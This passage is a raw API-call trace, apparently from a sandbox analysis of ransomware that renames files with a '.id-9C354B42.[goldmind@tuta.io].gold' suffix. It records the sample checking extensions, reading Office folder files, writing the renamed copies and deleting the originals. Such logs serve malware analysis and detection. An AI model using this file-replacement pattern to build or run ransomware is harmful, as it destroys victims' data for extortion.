returned 1 [0099.597] lstrlenW (lpString=".docx") returned 5 [0099.597] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0099.597] lstrlenW (lpString=".pdf") returned 4 [0099.597] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".xls") returned 4 [0099.597] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.597] lstrlenW (lpString=".xlsx") returned 5 [0099.597] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0099.597] lstrlenW (lpString=".ppt") returned 4 [0099.597] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.598] lstrlenW (lpString=".zip") returned 4 [0099.598] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.598] lstrlenW (lpString=".rar") returned 4 [0099.598] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.598] lstrlenW (lpString=".bz2") returned 4 [0099.598] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.598] lstrlenW (lpString=".7z") returned 3 [0099.598] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.598] lstrlenW (lpString=".dbf") returned 4 [0099.598] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.598] lstrlenW (lpString=".1cd") returned 4 [0099.598] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0099.598] lstrlenW (lpString=".jpg") returned 4 [0099.598] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.598] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.598] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0099.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.598] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=19880) returned 1 [0099.598] CloseHandle (hObject=0x364) returned 1 [0099.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20 [0099.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString=".doc") returned 4 [0099.599] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".docx") returned 5 [0099.599] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0099.599] lstrlenW (lpString=".pdf") returned 4 [0099.599] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".xls") returned 4 [0099.599] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".xlsx") returned 5 [0099.599] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0099.599] lstrlenW (lpString=".ppt") returned 4 [0099.599] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString=".zip") returned 4 [0099.599] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".rar") returned 4 [0099.599] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".bz2") returned 4 [0099.599] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.599] lstrlenW (lpString=".7z") returned 3 [0099.599] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString=".dbf") returned 4 [0099.599] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString=".1cd") returned 4 [0099.599] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString=".jpg") returned 4 [0099.599] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.599] lstrlenW (lpString=".doc") returned 4 [0099.599] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".docx") returned 5 [0099.599] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0099.599] lstrlenW (lpString=".pdf") returned 4 [0099.599] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".xls") returned 4 [0099.599] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.599] lstrlenW (lpString=".xlsx") returned 5 [0099.599] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0099.600] lstrlenW (lpString=".ppt") returned 4 [0099.764] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.764] lstrlenW (lpString=".zip") returned 4 [0099.764] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.765] lstrlenW (lpString=".rar") returned 4 [0099.765] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.765] lstrlenW (lpString=".bz2") returned 4 [0099.765] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.765] lstrlenW (lpString=".7z") returned 3 [0099.765] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.765] lstrlenW (lpString=".dbf") returned 4 [0099.765] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.765] lstrlenW (lpString=".1cd") returned 4 [0099.765] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0099.765] lstrlenW (lpString=".jpg") returned 4 [0099.765] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.765] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0099.765] lstrlenW (lpString="DBWIZ.VSL") returned 9 [0099.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0100.068] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=164216) returned 1 [0100.068] CloseHandle (hObject=0x394) returned 1 [0100.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 0x20 [0100.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0100.069] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.069] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.070] GetLastError () returned 0x0 [0100.070] ReadFile (in: hFile=0x394, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x28178, lpOverlapped=0x0) returned 1 [0100.076] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x28180, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x28180, lpOverlapped=0x0) returned 1 [0100.079] ReadFile (in: hFile=0x394, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.080] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0100.080] SetEndOfFile (hFile=0x198) returned 1 [0100.080] CloseHandle (hObject=0x198) returned 1 [0100.080] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.080] SetEndOfFile (hFile=0x394) returned 1 [0100.085] CloseHandle (hObject=0x394) returned 1 [0100.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl")) returned 1 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString=".doc") returned 4 [0100.087] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString=".docx") returned 5 [0100.087] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0100.087] lstrlenW (lpString=".pdf") returned 4 [0100.087] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString=".xls") returned 4 [0100.087] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0100.087] lstrlenW (lpString=".xlsx") returned 5 [0100.087] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0100.087] lstrlenW (lpString=".ppt") returned 4 [0100.087] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString=".zip") returned 4 [0100.087] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0100.087] lstrlenW (lpString=".rar") returned 4 [0100.087] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString=".bz2") returned 4 [0100.087] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString=".7z") returned 3 [0100.087] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString=".dbf") returned 4 [0100.087] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString=".1cd") returned 4 [0100.087] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString=".jpg") returned 4 [0100.087] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.087] lstrlenW (lpString=".doc") returned 4 [0100.088] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString=".docx") returned 5 [0100.088] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0100.088] lstrlenW (lpString=".pdf") returned 4 [0100.088] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString=".xls") returned 4 [0100.088] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0100.088] lstrlenW (lpString=".xlsx") returned 5 [0100.088] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0100.088] lstrlenW (lpString=".ppt") returned 4 [0100.088] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.088] lstrlenW (lpString=".zip") returned 4 [0100.088] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0100.088] lstrlenW (lpString=".rar") returned 4 [0100.088] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString=".bz2") returned 4 [0100.088] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString=".7z") returned 3 [0100.088] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0100.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.088] lstrlenW (lpString=".dbf") returned 4 [0100.088] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.088] lstrlenW (lpString=".1cd") returned 4 [0100.088] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0100.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57 [0100.088] lstrlenW (lpString=".jpg") returned 4 [0100.088] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0100.088] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0100.088] lstrlenW (lpString="DL_RES.DLL") returned 10 [0100.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0100.090] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=10632) returned 1 [0100.090] CloseHandle (hObject=0x394) returned 1 [0100.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll")) returned 0x20 [0100.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.091] lstrlenW (lpString=".doc") returned 4 [0100.091] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.091] lstrlenW (lpString=".docx") returned 5 [0100.091] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0100.091] lstrlenW (lpString=".pdf") returned 4 [0100.091] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.091] lstrlenW (lpString=".xls") returned 4 [0100.091] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.091] lstrlenW (lpString=".xlsx") returned 5 [0100.091] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0100.091] lstrlenW (lpString=".ppt") returned 4 [0100.091] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.091] lstrlenW (lpString=".zip") returned 4 [0100.091] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.091] lstrlenW (lpString=".rar") returned 4 [0100.091] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.091] lstrlenW (lpString=".bz2") returned 4 [0100.091] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.091] lstrlenW (lpString=".7z") returned 3 [0100.091] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.091] lstrlenW (lpString=".dbf") returned 4 [0100.091] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.091] lstrlenW (lpString=".1cd") returned 4 [0100.091] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.091] lstrlenW (lpString=".jpg") returned 4 [0100.091] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.092] lstrlenW (lpString=".doc") returned 4 [0100.092] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString=".docx") returned 5 [0100.092] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0100.092] lstrlenW (lpString=".pdf") returned 4 [0100.092] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString=".xls") returned 4 [0100.092] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString=".xlsx") returned 5 [0100.092] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0100.092] lstrlenW (lpString=".ppt") returned 4 [0100.092] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.092] lstrlenW (lpString=".zip") returned 4 [0100.092] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString=".rar") returned 4 [0100.092] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0100.092] lstrlenW (lpString=".bz2") returned 4 [0100.092] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0100.092] lstrlenW (lpString=".7z") returned 3 [0100.092] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0100.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.092] lstrlenW (lpString=".dbf") returned 4 [0100.092] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0100.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.092] lstrlenW (lpString=".1cd") returned 4 [0100.092] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0100.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0100.092] lstrlenW (lpString=".jpg") returned 4 [0100.092] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0100.092] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0100.092] lstrlenW (lpString="DOORSCHD.VRD") returned 12 [0100.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0100.093] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1723) returned 1 [0100.093] CloseHandle (hObject=0x394) returned 1 [0100.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20 [0100.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0100.094] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.094] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.094] GetLastError () returned 0x0 [0100.094] ReadFile (in: hFile=0x394, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x6bb, lpOverlapped=0x0) returned 1 [0100.095] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0100.096] ReadFile (in: hFile=0x394, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.096] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.096] SetEndOfFile (hFile=0x198) returned 1 [0100.096] CloseHandle (hObject=0x198) returned 1 [0100.096] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.096] SetEndOfFile (hFile=0x394) returned 1 [0100.098] CloseHandle (hObject=0x394) returned 1 [0100.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 1 [0100.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.099] lstrlenW (lpString=".doc") returned 4 [0100.099] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString=".docx") returned 5 [0100.099] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0100.099] lstrlenW (lpString=".pdf") returned 4 [0100.099] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString=".xls") returned 4 [0100.099] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0100.099] lstrlenW (lpString=".xlsx") returned 5 [0100.099] lstrcmpiW (lpString1=".xlsx", 